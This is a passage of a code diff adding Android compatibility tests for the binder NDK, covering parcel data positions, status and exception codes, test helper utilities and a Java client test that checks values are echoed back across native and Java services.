+        EXPECT_FALSE(readTarget);
+        return STATUS_OK;
+      }));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, ReturnParcelPosition) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+        size_t position = AParcel_getDataPosition(out);
+        EXPECT_EQ(position, AParcel_getDataPosition(out));
+        EXPECT_OK(AParcel_setDataPosition(out, position));
+        EXPECT_EQ(position, AParcel_getDataPosition(out));
+
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, TooLargePosition) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+        EXPECT_OK(AParcel_setDataPosition(out, 0));
+        EXPECT_OK(AParcel_setDataPosition(out, INT32_MAX));
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -1));
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -2));
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, RewritePositions) {
+  const std::string kTestString1 = "asdf";
+  const std::string kTestString2 = "aoeu";
+
+  // v-- position     v-- postPosition
+  // | delta | "asdf" | "aoeu" |
+  //         ^-- prePosition
+  //
+  // uint32_t delta = postPosition - prePosition
+
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+        uint32_t delta;
+        EXPECT_OK(AParcel_readUint32(in, &delta));
+        size_t prePosition = AParcel_getDataPosition(in);
+        size_t postPosition = prePosition + delta;
+
+        std::string readString;
+
+        EXPECT_OK(AParcel_setDataPosition(in, postPosition));
+        EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+        EXPECT_EQ(kTestString2, readString);
+
+        EXPECT_OK(AParcel_setDataPosition(in, prePosition));
+        EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+        EXPECT_EQ(kTestString1, readString);
+
+        EXPECT_EQ(postPosition, AParcel_getDataPosition(in));
+
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(
+      binder, kCode,
+      [&](AParcel* in) {
+        size_t position = AParcel_getDataPosition(in);
+        EXPECT_OK(AParcel_writeUint32(in, 0));  // placeholder
+        size_t prePosition = AParcel_getDataPosition(in);
+        EXPECT_OK(::ndk::AParcel_writeString(in, kTestString1));
+        size_t postPosition = AParcel_getDataPosition(in);
+        EXPECT_OK(::ndk::AParcel_writeString(in, kTestString2));
+
+        size_t delta = postPosition - prePosition;
+        EXPECT_OK(AParcel_setDataPosition(in, position));
+        EXPECT_OK(AParcel_writeUint32(in, static_cast<uint32_t>(delta)));
+
+        return STATUS_OK;
+      },
+      ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
new file mode 100644
index 0000000..7a7e536
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_status.cpp
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_status.h>
+#include <gtest/gtest.h>
+
+#include <set>
+
+// clang-format off
+const static std::set<binder_status_t> kErrorStatuses = {
+  STATUS_UNKNOWN_ERROR,
+  STATUS_NO_MEMORY,
+  STATUS_INVALID_OPERATION,
+  STATUS_BAD_VALUE,
+  STATUS_BAD_TYPE,
+  STATUS_NAME_NOT_FOUND,
+  STATUS_PERMISSION_DENIED,
+  STATUS_NO_INIT,
+  STATUS_ALREADY_EXISTS,
+  STATUS_DEAD_OBJECT,
+  STATUS_FAILED_TRANSACTION,
+  STATUS_BAD_INDEX,
+  STATUS_NOT_ENOUGH_DATA,
+  STATUS_WOULD_BLOCK,
+  STATUS_TIMED_OUT,
+  STATUS_UNKNOWN_TRANSACTION,
+  STATUS_FDS_NOT_ALLOWED,
+  STATUS_UNEXPECTED_NULL
+};
+// Not in the API or above list
+const static std::set<binder_status_t> kUnknownStatuses = { -77, 1, 404, EX_TRANSACTION_FAILED };
+
+const static std::set<binder_exception_t> kErrorExceptions = {
+  EX_SECURITY,
+  EX_BAD_PARCELABLE,
+  EX_ILLEGAL_ARGUMENT,
+  EX_NULL_POINTER,
+  EX_ILLEGAL_STATE,
+  EX_NETWORK_MAIN_THREAD,
+  EX_UNSUPPORTED_OPERATION,
+  EX_SERVICE_SPECIFIC,
+  EX_PARCELABLE,
+  EX_TRANSACTION_FAILED
+};
+// Not in the API or above list
+const static std::set<binder_exception_t> kUnknownExceptions = { -77, 1, 404, STATUS_UNKNOWN_ERROR };
+// clang-format on
+
+// Checks the various attributes expected for an okay status.
+static void checkIsOkay(const AStatus* status) {
+  EXPECT_TRUE(AStatus_isOk(status));
+  EXPECT_EQ(std::string(), AStatus_getMessage(status));
+  EXPECT_EQ(EX_NONE, AStatus_getExceptionCode(status));
+  EXPECT_EQ(0, AStatus_getServiceSpecificError(status));
+  EXPECT_EQ(STATUS_OK, AStatus_getStatus(status));
+}
+static void checkIsErrorException(const AStatus* status,
+                                  binder_exception_t exception,
+                                  const std::string& message) {
+  EXPECT_FALSE(AStatus_isOk(status));
+  EXPECT_EQ(message, AStatus_getMessage(status));
+  EXPECT_EQ(exception, AStatus_getExceptionCode(status));
+  // not a service-specific error, so other errorcodes return the default
+  EXPECT_EQ(0, AStatus_getServiceSpecificError(status));
+  EXPECT_EQ(exception == EX_TRANSACTION_FAILED ? STATUS_FAILED_TRANSACTION
+                                               : STATUS_OK,
+            AStatus_getStatus(status));
+}
+static void checkIsServiceSpecific(const AStatus* status, int32_t error,
+                                   const std::string& message) {
+  EXPECT_FALSE(AStatus_isOk(status));
+  EXPECT_EQ(message, AStatus_getMessage(status));
+  EXPECT_EQ(EX_SERVICE_SPECIFIC, AStatus_getExceptionCode(status));
+  EXPECT_EQ(error, AStatus_getServiceSpecificError(status));
+  // not a service-specific error, so other errorcodes return the default
+  EXPECT_EQ(STATUS_OK, AStatus_getStatus(status));
+}
+static void checkIsErrorStatus(const AStatus* status, binder_status_t statusT) {
+  EXPECT_FALSE(AStatus_isOk(status));
+  EXPECT_EQ(std::string(), AStatus_getMessage(status));
+  EXPECT_EQ(EX_TRANSACTION_FAILED, AStatus_getExceptionCode(status));
+  EXPECT_EQ(statusT, AStatus_getStatus(status));
+  // not a service-specific error, so other errorcodes return the default
+  EXPECT_EQ(0, AStatus_getServiceSpecificError(status));
+}
+
+TEST(NdkBinderTest_AStatus, OkIsOk) {
+  AStatus* status = AStatus_newOk();
+  checkIsOkay(status);
+  AStatus_delete(status);
+}
+
+TEST(NdkBinderTest_AStatus, NoExceptionIsOkay) {
+  AStatus* status = AStatus_fromExceptionCode(EX_NONE);
+  checkIsOkay(status);
+  AStatus_delete(status);
+}
+
+TEST(NdkBinderTest_AStatus, StatusOkIsOkay) {
+  AStatus* status = AStatus_fromStatus(STATUS_OK);
+  checkIsOkay(status);
+  AStatus_delete(status);
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionIsNotOkay) {
+  for (binder_exception_t exception : kErrorExceptions) {
+    AStatus* status = AStatus_fromExceptionCode(exception);
+    checkIsErrorException(status, exception, "" /*message*/);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionWithMessageIsNotOkay) {
+  const std::string kMessage = "Something arbitrary.";
+  for (binder_exception_t exception : kErrorExceptions) {
+    AStatus* status =
+        AStatus_fromExceptionCodeWithMessage(exception, kMessage.c_str());
+    checkIsErrorException(status, exception, kMessage);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ServiceSpecificIsNotOkay) {
+  for (int32_t error : {-404, -1, 0, 1, 23, 918}) {
+    AStatus* status = AStatus_fromServiceSpecificError(error);
+    checkIsServiceSpecific(status, error, "" /*message*/);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ServiceSpecificWithMessageIsNotOkay) {
+  const std::string kMessage = "Something also arbitrary.";
+  for (int32_t error : {-404, -1, 0, 1, 23, 918}) {
+    AStatus* status =
+        AStatus_fromServiceSpecificErrorWithMessage(error, kMessage.c_str());
+    checkIsServiceSpecific(status, error, kMessage);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, StatusIsNotOkay) {
+  for (binder_status_t statusT : kErrorStatuses) {
+    AStatus* status = AStatus_fromStatus(statusT);
+    checkIsErrorStatus(status, statusT);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionsPruned) {
+  for (binder_exception_t exception : kUnknownExceptions) {
+    EXPECT_EQ(kErrorExceptions.find(exception), kErrorExceptions.end())
+        << exception;
+
+    AStatus* status = AStatus_fromExceptionCode(exception);
+    checkIsErrorException(status, EX_TRANSACTION_FAILED, "" /*message*/);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, ExceptionsPrunedWithMessage) {
+  const std::string kMessage = "Something else arbitrary.";
+  for (binder_exception_t exception : kUnknownExceptions) {
+    EXPECT_EQ(kErrorExceptions.find(exception), kErrorExceptions.end())
+        << exception;
+
+    AStatus* status =
+        AStatus_fromExceptionCodeWithMessage(exception, kMessage.c_str());
+    checkIsErrorException(status, EX_TRANSACTION_FAILED, kMessage);
+    AStatus_delete(status);
+  }
+}
+
+TEST(NdkBinderTest_AStatus, StatusesPruned) {
+  for (binder_status_t statusT : kUnknownStatuses) {
+    EXPECT_EQ(kErrorStatuses.find(statusT), kErrorStatuses.end()) << statusT;
+
+    AStatus* status = AStatus_fromStatus(statusT);
+    checkIsErrorStatus(status, STATUS_UNKNOWN_ERROR);
+    AStatus_delete(status);
+  }
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
new file mode 100644
index 0000000..fad9f6f
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include "utilities.h"
+
+#include <android/log.h>
+
+static size_t sNumInstances = 0;
+size_t ThisShouldBeDestroyed::numInstances() { return sNumInstances; }
+ThisShouldBeDestroyed::ThisShouldBeDestroyed() { sNumInstances++; }
+ThisShouldBeDestroyed::~ThisShouldBeDestroyed() { sNumInstances--; }
+
+void* SampleClassOnCreate(void* args) {
+  return args;  // SampleData
+}
+
+void SampleClassOnDestroy(void* userData) {
+  SampleData* data = static_cast<SampleData*>(userData);
+  if (data->onDestroy != nullptr) {
+    data->onDestroy(data);
+  }
+  delete data;
+}
+
+binder_status_t SampleClassOnTransact(AIBinder* binder, transaction_code_t code,
+                                      const AParcel* in, AParcel* out) {
+  SampleData* data = static_cast<SampleData*>(AIBinder_getUserData(binder));
+  if (data == nullptr) {
+    __android_log_write(ANDROID_LOG_FATAL, LOG_TAG, "null user data");
+  }
+  data->numberTransactions++;
+  if (data->onTransact == nullptr) {
+    ADD_FAILURE() << "onTransact not specified, but transactions called";
+    return STATUS_FAILED_TRANSACTION;
+  }
+  return data->onTransact(code, in, out);
+}
+
+const char* SampleData::kDescriptor = "this-is-arbitrary";
+const AIBinder_Class* SampleData::kClass =
+    AIBinder_Class_define(SampleData::kDescriptor, SampleClassOnCreate,
+                          SampleClassOnDestroy, SampleClassOnTransact);
+
+const char* SampleData::kAnotherDescriptor = "this-is-another-arbitrary-thing";
+const AIBinder_Class* SampleData::kAnotherClass =
+    AIBinder_Class_define(SampleData::kAnotherDescriptor, SampleClassOnCreate,
+                          SampleClassOnDestroy, SampleClassOnTransact);
+
+JNIEnv* GetEnv() {
+  JavaVM* vm = GetJavaVM();
+  if (vm == nullptr) return nullptr;
+
+  JNIEnv* result = nullptr;
+  jint attach = vm->AttachCurrentThread(&result, nullptr);
+
+  EXPECT_EQ(JNI_OK, attach);
+  EXPECT_NE(nullptr, result);
+  return result;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
new file mode 100644
index 0000000..4699636
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <android/binder_auto_utils.h>
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+#include <nativetesthelper_jni/utils.h>
+
+#include <functional>
+
+// Helpers for testing
+
+template <typename T>
+static inline ::testing::AssertionResult isOk(T) = delete;
+
+template <>
+inline ::testing::AssertionResult isOk(::ndk::ScopedAStatus t) {
+  if (AStatus_isOk(t.get())) {
+    return ::testing::AssertionSuccess();
+  } else {
+    return ::testing::AssertionFailure()
+           << "exception: " << AStatus_getExceptionCode(t.get())
+           << " service specific: " << AStatus_getServiceSpecificError(t.get())
+           << " status: " << AStatus_getStatus(t.get());
+  }
+}
+
+template <>
+inline ::testing::AssertionResult isOk(binder_status_t t) {
+  if (t == STATUS_OK) {
+    return ::testing::AssertionSuccess();
+  }
+  return ::testing::AssertionFailure() << "Status: " << t;
+}
+
+#define EXPECT_OK(THING) EXPECT_TRUE(isOk(THING))
+#define ASSERT_OK(THING) ASSERT_TRUE(isOk(THING))
+
+// placeholder
+constexpr transaction_code_t kCode = +1 + 918;
+
+// Usually, things at this level would be generated by the aidl compiler. This
+// class is merely to make testing the API easier.
+
+struct SampleData;
+
+typedef std::function<void(SampleData*)> OnDestroyFunc;
+typedef std::function<binder_status_t(transaction_code_t code,
+                                      const AParcel* in, AParcel* out)>
+    OnTransactFunc;
+
+typedef std::function<binder_status_t(AParcel*)> WriteParcel;
+typedef std::function<binder_status_t(const AParcel*)> ReadParcel;
+
+static inline binder_status_t WriteNothingToParcel(AParcel*) {
+  return STATUS_OK;
+}
+static inline binder_status_t ReadNothingFromParcel(const AParcel*) {
+  return STATUS_OK;
+}
+
+// There is an assert instances of this class are destroyed in NdkBinderTest
+struct ThisShouldBeDestroyed {
+  static size_t numInstances();
+
+  ThisShouldBeDestroyed();
+  virtual ~ThisShouldBeDestroyed();
+};
+
+struct SampleData : ThisShouldBeDestroyed {
+  static const char* kDescriptor;
+  static const AIBinder_Class* kClass;
+
+  static const char* kAnotherDescriptor;
+  static const AIBinder_Class* kAnotherClass;
+
+  SampleData(const OnTransactFunc& oT = nullptr,
+             const OnDestroyFunc& oD = nullptr)
+      : onTransact(oT), onDestroy(oD) {}
+
+  // This is called when the class is transacted on if non-null.
+  // Otherwise, STATUS_FAILED_TRANSACTION is returned.
+  OnTransactFunc onTransact;
+
+  // This is called when the class is destroyed if non-null.
+  OnDestroyFunc onDestroy;
+
+  // Automatically updated by this class whenever a transaction is received.
+  int numberTransactions = 0;
+
+  __attribute__((warn_unused_result)) static AIBinder* newBinder(
+      OnTransactFunc onTransact = nullptr, OnDestroyFunc onDestroy = nullptr) {
+    SampleData* data = new SampleData(onTransact, onDestroy);
+    return AIBinder_new(kClass, static_cast<void*>(data));
+  };
+
+  // Helper method to simplify transaction logic
+  static binder_status_t transact(AIBinder* binder, transaction_code_t code,
+                                  WriteParcel writeFunc = WriteNothingToParcel,
+                                  ReadParcel readFunc = ReadNothingFromParcel,
+                                  binder_flags_t flags = 0) {
+    AParcel* in;
+    binder_status_t status = AIBinder_prepareTransaction(binder, &in);
+    if (status != STATUS_OK) return status;
+
+    status = writeFunc(in);
+    if (status != STATUS_OK) {
+      AParcel_delete(in);
+      return status;
+    }
+
+    AParcel* out;
+    status = AIBinder_transact(binder, code, &in, &out, flags);
+    if (status != STATUS_OK) return status;
+
+    status = readFunc(out);
+    AParcel_delete(out);
+
+    return status;
+  }
+};
+
+static inline OnDestroyFunc ExpectLifetimeTransactions(size_t count) {
+  return [count](SampleData* data) {
+    EXPECT_EQ(count, data->numberTransactions)
+        << "Expected " << count
+        << " transaction(s), but over the lifetime of this object, it received "
+        << data->numberTransactions;
+  };
+}
+
+static inline OnTransactFunc TransactionsReturn(binder_status_t result) {
+  return
+      [result](transaction_code_t, const AParcel*, AParcel*) { return result; };
+}
+
+class NdkBinderTest : public ::testing::Test {
+ public:
+  void SetUp() override { instances = ThisShouldBeDestroyed::numInstances(); }
+  void TearDown() override {
+    EXPECT_EQ(instances, ThisShouldBeDestroyed::numInstances());
+  }
+
+ private:
+  size_t instances = 0;
+};
+
+JNIEnv* GetEnv();
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
new file mode 100644
index 0000000..ce71d32
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -0,0 +1,457 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+
+import android.support.test.InstrumentationRegistry;
+
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Collection;
+
+import test_package.IEmpty;
+import test_package.ITest;
+import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+@RunWith(Parameterized.class)
+public class JavaClientTest {
+    private final String TAG = "JavaClientTest";
+
+    private Class mServiceClass;
+    private ITest mInterface;
+    private String mExpectedName;
+    private boolean mShouldBeRemote;
+
+    public JavaClientTest(Class serviceClass, String expectedName, boolean shouldBeRemote) {
+        mServiceClass = serviceClass;
+        mExpectedName = expectedName;
+        mShouldBeRemote = shouldBeRemote;
+    }
+
+    @Parameterized.Parameters( name = "{0}" )
+    public static Collection<Object[]> data() {
+        // For local interfaces, this test will parcel the data locally.
+        // Whenever possible, the desired service should be accessed directly
+        // in order to avoid this additional overhead.
+        return Arrays.asList(new Object[][] {
+                {NativeService.Local.class, "CPP", false /*shouldBeRemote*/},
+                {JavaService.Local.class, "JAVA", false /*shouldBeRemote*/},
+                {NativeService.Remote.class, "CPP", true /*shouldBeRemote*/},
+                {JavaService.Remote.class, "JAVA", true /*shouldBeRemote*/},
+            });
+    }
+
+    @Before
+    public void setUp() {
+        Log.e(TAG, "Setting up");
+
+        SyncTestServiceConnection connection = new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), mServiceClass);
+
+        mInterface = connection.get();
+        assertNotEquals(null, mInterface);
+    }
+
+    @Test
+    public void testSanityCheckSource() throws RemoteException {
+        String name = mInterface.GetName();
+
+        Log.i(TAG, "Service GetName: " + name);
+        assertEquals(mExpectedName, name);
+    }
+
+    @Test
+    public void testTrivial() throws RemoteException {
+        mInterface.TestVoidReturn();
+        mInterface.TestOneway();
+    }
+
+    @Test
+    public void testCallingInfo() throws RemoteException {
+      mInterface.CacheCallingInfoFromOneway();
+
+      assertEquals(Process.myPid(), mInterface.GiveMeMyCallingPid());
+      assertEquals(Process.myUid(), mInterface.GiveMeMyCallingUid());
+
+      if (mShouldBeRemote) {
+        // PID is hidden from oneway calls
+        assertEquals(0, mInterface.GiveMeMyCallingPidFromOneway());
+      } else {
+        assertEquals(Process.myPid(), mInterface.GiveMeMyCallingPidFromOneway());
+      }
+
+      assertEquals(Process.myUid(), mInterface.GiveMeMyCallingUidFromOneway());
+    }
+
+    @Test
+    public void testRepeatPrimitives() throws RemoteException {
+        assertEquals(1, mInterface.RepeatInt(1));
+        assertEquals(2, mInterface.RepeatLong(2));
+        assertEquals(1.0f, mInterface.RepeatFloat(1.0f), 0.0f);
+        assertEquals(2.0, mInterface.RepeatDouble(2.0), 0.0);
+        assertEquals(true, mInterface.RepeatBoolean(true));
+        assertEquals('a', mInterface.RepeatChar('a'));
+        assertEquals((byte)3, mInterface.RepeatByte((byte)3));
+    }
+
+    @Test
+    public void testRepeatBinder() throws RemoteException {
+        IBinder binder = mInterface.asBinder();
+
+        assertEquals(binder, mInterface.RepeatBinder(binder));
+        assertEquals(binder, mInterface.RepeatNullableBinder(binder));
+        assertEquals(null, mInterface.RepeatNullableBinder(null));
+    }
+
+    private static class Empty extends IEmpty.Stub {
+        @Override
+        public int getInterfaceVersion() { return Empty.VERSION; }
+    }
+
+    @Test
+    public void testRepeatInterface() throws RemoteException {
+        IEmpty empty = new Empty();
+
+        assertEquals(empty, mInterface.RepeatInterface(empty));
+        assertEquals(empty, mInterface.RepeatNullableInterface(empty));
+        assertEquals(null, mInterface.RepeatNullableInterface(null));
+    }
+
+    private static interface IRepeatFd {
+        ParcelFileDescriptor repeat(ParcelFileDescriptor fd) throws RemoteException;
+    }
+
+    private void checkFdRepeated(IRepeatFd transformer) throws RemoteException, IOException {
+        ParcelFileDescriptor[] sockets = ParcelFileDescriptor.createReliableSocketPair();
+        ParcelFileDescriptor socketIn = sockets[0];
+        ParcelFileDescriptor socketOut = sockets[1];
+
+        ParcelFileDescriptor repeatFd = transformer.repeat(socketIn);
+
+        boolean isNativeRemote = mInterface.GetName().equals("CPP");
+        try {
+            socketOut.checkError();
+
+            // Either native didn't properly call detach, or native properly handles detach, and
+            // we should change the test to enforce that socket comms work.
+            assertFalse("Native doesn't implement comm fd but did not get detach.", isNativeRemote);
+        } catch (ParcelFileDescriptor.FileDescriptorDetachedException e) {
+            assertTrue("Detach, so remote should be native", isNativeRemote);
+        }
+
+        // Both backends support these.
+        socketIn.checkError();
+        repeatFd.checkError();
+
+        FileOutputStream repeatFdStream = new ParcelFileDescriptor.AutoCloseOutputStream(repeatFd);
+        String testData = "asdf";
+        byte[] output = testData.getBytes();
+        repeatFdStream.write(output);
+        repeatFdStream.close();
+
+        FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(socketOut);
+        byte[] input = new byte[output.length];
+
+        assertEquals(input.length, fileInputStream.read(input));
+        Assert.assertArrayEquals(input, output);
+    }
+
+    @Test
+    public void testRepeatFd() throws RemoteException, IOException {
+        checkFdRepeated((fd) -> mInterface.RepeatFd(fd));
+    }
+
+    @Test
+    public void testRepeatNullableFd() throws RemoteException, IOException {
+        checkFdRepeated((fd) -> mInterface.RepeatNullableFd(fd));
+        assertEquals(null, mInterface.RepeatNullableFd(null));
+    }
+
+    @Test
+    public void testRepeatString() throws RemoteException {
+        assertEquals("", mInterface.RepeatString(""));
+        assertEquals("a", mInterface.RepeatString("a"));
+        assertEquals("foo", mInterface.RepeatString("foo"));
+    }
+
+    @Test
+    public void testRepeatNullableString() throws RemoteException {
+        assertEquals(null, mInterface.RepeatNullableString(null));
+        assertEquals("", mInterface.RepeatNullableString(""));
+        assertEquals("a", mInterface.RepeatNullableString("a"));
+        assertEquals("foo", mInterface.RepeatNullableString("foo"));
+    }
+
+    public void assertPolygonEquals(RegularPolygon lhs, RegularPolygon rhs) {
+        assertEquals(lhs.name, rhs.name);
+        assertEquals(lhs.numSides, rhs.numSides);
+        assertEquals(lhs.sideLength, rhs.sideLength, 0.0f);
+    }
+    public void assertPolygonEquals(RegularPolygon[] lhs, RegularPolygon[] rhs) {
+        assertEquals(lhs.length, rhs.length);
+        for (int i = 0; i < lhs.length; i++) {
+            assertPolygonEquals(lhs[i], rhs[i]);
+        }
+    }
+
+    @Test
+    public void testRepeatPolygon() throws RemoteException {
+        RegularPolygon polygon = new RegularPolygon();
+        polygon.name = "hexagon";
+        polygon.numSides = 6;
+        polygon.sideLength = 1.0f;
+
+        RegularPolygon result = mInterface.RepeatPolygon(polygon);
+
+        assertPolygonEquals(polygon, result);
+    }
+
+    @Test
+    public void testInsAndOuts() throws RemoteException {
+        RegularPolygon polygon = new RegularPolygon();
+        mInterface.RenamePolygon(polygon, "Jerry");
+        assertEquals("Jerry", polygon.name);
+    }
+
+    @Test
+    public void testArrays() throws RemoteException {
+        {
+            boolean[] value = {};
+            boolean[] out1 = new boolean[value.length];
+            boolean[] out2 = mInterface.RepeatBooleanArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            boolean[] value = {false, true, false};
+            boolean[] out1 = new boolean[value.length];
+            boolean[] out2 = mInterface.RepeatBooleanArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            byte[] value = {1, 2, 3};
+            byte[] out1 = new byte[value.length];
+            byte[] out2 = mInterface.RepeatByteArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            char[] value = {'h', 'a', '!'};
+            char[] out1 = new char[value.length];
+            char[] out2 = mInterface.RepeatCharArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            int[] value = {1, 2, 3};
+            int[] out1 = new int[value.length];
+            int[] out2 = mInterface.RepeatIntArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            long[] value = {1, 2, 3};
+            long[] out1 = new long[value.length];
+            long[] out2 = mInterface.RepeatLongArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            float[] value = {1.0f, 2.0f, 3.0f};
+            float[] out1 = new float[value.length];
+            float[] out2 = mInterface.RepeatFloatArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1, 0.0f);
+            Assert.assertArrayEquals(value, out2, 0.0f);
+        }
+        {
+            double[] value = {1.0, 2.0, 3.0};
+            double[] out1 = new double[value.length];
+            double[] out2 = mInterface.RepeatDoubleArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1, 0.0);
+            Assert.assertArrayEquals(value, out2, 0.0);
+        }
+        {
+            String[] value = {"", "aoeu", "lol", "brb"};
+            String[] out1 = new String[value.length];
+            String[] out2 = mInterface.RepeatStringArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+
+            RegularPolygon septagon = new RegularPolygon();
+            septagon.name = "septagon";
+            septagon.numSides = 7;
+            septagon.sideLength = 1.0f;
+
+            RegularPolygon[] value = {septagon, new RegularPolygon(), new RegularPolygon()};
+            RegularPolygon[] out1 = new RegularPolygon[value.length];
+            RegularPolygon[] out2 = mInterface.RepeatRegularPolygonArray(value, out1);
+
+            assertPolygonEquals(value, out1);
+            assertPolygonEquals(value, out2);
+        }
+    }
+
+    @Test
+    public void testNullableArrays() throws RemoteException {
+        {
+            boolean[] emptyValue = {};
+            boolean[] value = {false, true, false};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableBooleanArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableBooleanArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableBooleanArray(value));
+        }
+        {
+            byte[] emptyValue = {};
+            byte[] value = {1, 2, 3};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableByteArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableByteArray(emptyValue));
